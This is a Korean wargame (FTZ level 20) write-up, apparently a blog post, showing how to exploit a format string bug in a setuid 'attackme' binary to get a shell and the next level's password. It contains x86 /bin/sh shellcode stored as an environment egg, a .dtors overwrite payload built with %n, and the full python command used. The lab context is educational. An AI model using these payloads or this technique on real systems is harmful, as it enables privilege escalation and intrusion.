FTZ level 20
- Question
· level20 ID로 Login해서 clear의 password를 찾기
- Solution
· 'level20' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
· 기존과는 Level과는 달리 gdb를 통해 분석할 수 없도록 main함수의 Symbol이 모두 삭제되어 있어 gdb를 통해 분석하는 것이 불가능하다.
· Source Code 분석
◦ fgets 함수와 printf에 서식문자가 사용되지 않은 점으로 Format String Attack을 해야 한다.
· Format String을 통한 Memory 구조 확인
◦ 문자열을 삽입 후 %08x의 개수를 증가시키면서 Test 해보면 12Byte 이후 부분부터 삽입했던 문자열이 출력되는 것을 확인할 수 있으며 이점으로 미뤄 Stack Memory의 구조를 파악할 수 있다.
◦ Process Stack Memory
▹ attackme Program의 Stack Memory 구조(Disassembly Code의 구조)는 위와 같이 예상 할 수 있다.
· Format String을 이용한 공격의 방법
◦ 앞서 확인한 내용을 그림으로 표현하면 위와 같이 표현할 수 있다.
◦ 여기서 printf() 이후 Dummy 함수 바로 뒤의 buf 영역을 이용해 .dtors의 주소 바로 다음에 있는 Return Address에 즉, .dtors Address+4 지점에 Egg_Shell을 넣는다면 Shell Code가 실행될 것이다.
· Egg_Shell 생성
◦ export 명령어를 이용해 Egg Shell을 환경변수에 등록한다.
◦ 명령어
1 | export eggsh=`python -c 'print "\x90"*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc2\x89\xc1\x89\xc3\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` | cs |
◦ gcc Compiler를 이용해 Egg Shell의 주소를 가져오는 실행 File을 만든다.
◦ 만들어낸 Program을 이용해 Egg Shell의 주소를 확인해보면 '0xbffffe8d'이라는 것을 알 수 있다.
◦ Source Code
1 2 3 4 5 | #include <stdio.h> int main() { printf("egg : %p\n", getenv("eggsh")); } | cs |
· .dtors 주소 구하기
◦ objdump를 이용해 .dtors의 주소를 확인한다.
◦ 실행 후 확인된 주소에서 두 번째 영역에 있는 주소 값에 +4를 한 값이 Return Adress의 주소 값이다.
· Exploit의 구조 및 값
◦ Exploit의 논리적 구조
▹ buf 변수 영역에 .dtors+4의 주소를 넣고 %08x를 이용해 Format String Bug를 실행시키면 printf() 함수가 종료된 후 .dtors+4 주소의 Code가 실행된다.
▹ 첫 번째 Format String Bug가 실행된 후 %c를 이용해 Byte를 채운 후 %n을 실행하면 Dummy 영역에는 %c의 Size인 4Byte가 채워지고 .dtors+4에는 Size 만큼의 16진수 값이 채워진다.
▹ 여기서 .dtors+4에 채워진 주소가 Egg Shell의 주소여야 한다.
▹ printf()함수가 종료되면 .dtors가 실행되어 Program이 종료되고 .dtors+4 지점의 주소 값으로 인해 Egg_Shell을 실행한다.
※ 사용된 서식 문자 기능
› %c : 1Byte 씩 채운다.(Format String Attack에서 기능 : width Field를 이용해 Byte 수를 조정할 수 있다.)
› %n : 앞서 사용된 서식 문자의 Byte 수만큼 채운다.(Format String Attack에서 기능 : 앞서 %c를 이용해 채운 Byte 수를 채워 출력한다.)
◦ Exploit의 실제 구조
▹ .dtors+4 지점을 작성 시 4Byte(Dword) 값이 필요하게 되는데 Integer 값은 음수와 양수 범위가 존재해 주소가 너무 크면 음수로 변환되어 주소가 제대로 채워지지 않으며 음수로 채우려 해도 Byte 수를 세는 %n이 음수를 나타낼 수도 없다.
▹ 따라서 .dtors와 Egg_Shell 모두 2Byte씩 나눠 주소를 저장해줘야 한다.
▹ 앞서 알아낸 Egg_Shell의 주소인 0xbffffe8d 또한 일반 정수로 채우면 음수 범위로 인식하기 때문에 2Byte 씩 나눠 주소를 저장해야한다.
◦ Exploit의 실제 값
▹ 4Byte 씩 구분하기 위해 중간 중간에 4Byte Dummy Code를 채워주며 .dtors+4와 .dtors+6의 주소를 채운다.
▹ 삽입할 주소 값 계산 방법
▸ %n은 10진수 정수 값을 취급하므로 16진수 값을 10진수로 변환해 계산해줘야 한다.
▸ 마지막 주소인 0xfe8d의 경우 마지막 주소를 지칭하며 %n은 앞서 출력한 모든 값을 Byte로 환산해 넣기 때문에 기존에 사용한 '\x90'부터 '%08x'까지 모든 Byte인 40Byte(4+4+4+4+8+8+8)를 빼줘야 한다.
▸ 40Byte를 빼주면 기존의 40Byte + 계산 값(65125)로 원래 값인 0xfe8d(65165)이 .dtors+4 지점에 저장된다.
▸ 앞 주소인 0xbfff의 경우 처음 주소를 지칭해 40Byte를 뺄 필요는 없지만 앞서 0xfe8d의 계산 값이 미리 출력되었으므로 0xfe8d을 빼줘야 하며 0xbfff가 0xfe8d보다 작기 때문에 0x1bfff에서 0xfe8d을 빼줘야 한다.
▸ 0xfe8d을 빼주면 기존의 0xfe8d(65165) + 계산 값(49522)로 원래 값인 0xbfff(114687)이 .dtors+6 지점에 저장된다.
▸ 0xfe8d : 65165(0xfe8d) - 40Byte = 65125
▸ 0xbfff : 114687(0x1bfff) - 65165 = 49522
◦ 최종 Exploit
1 | " \x90"*4+"\x98\x95\x04\x08"+"\x90"*4+"\x9a\x95\x04\x08"+"%08x%08x%08x"+"%65125c"+"%n"+"%49522c"+"%n"Colored by Color Scripter | cs |
· 명령어를 이용한 공격
◦ Python을 이용해 공격해본다.
◦ 명령어
1 | (python -c 'print "\x90"*4+"\x98\x95\x04\x08"+"\x90"*4+"\x9a\x95\x04\x08"+"%08x%08x%08x"+"%65125c"+"%n"+"%49522c"+"%n"';cat)| ./attackme | cs |
◦ my-pass 명령어를 이용해 Password를 확인해본다.
- Answer
· clear's Password : i will come in a minute
'System Security > FTZ' 카테고리의 다른 글
FTZ level19 (0) | 2015.08.18 |
---|---|
FTZ level18 (0) | 2015.08.18 |
FTZ level17 (0) | 2015.08.18 |
FTZ level16 (0) | 2015.08.18 |
FTZ level15 (0) | 2015.08.18 |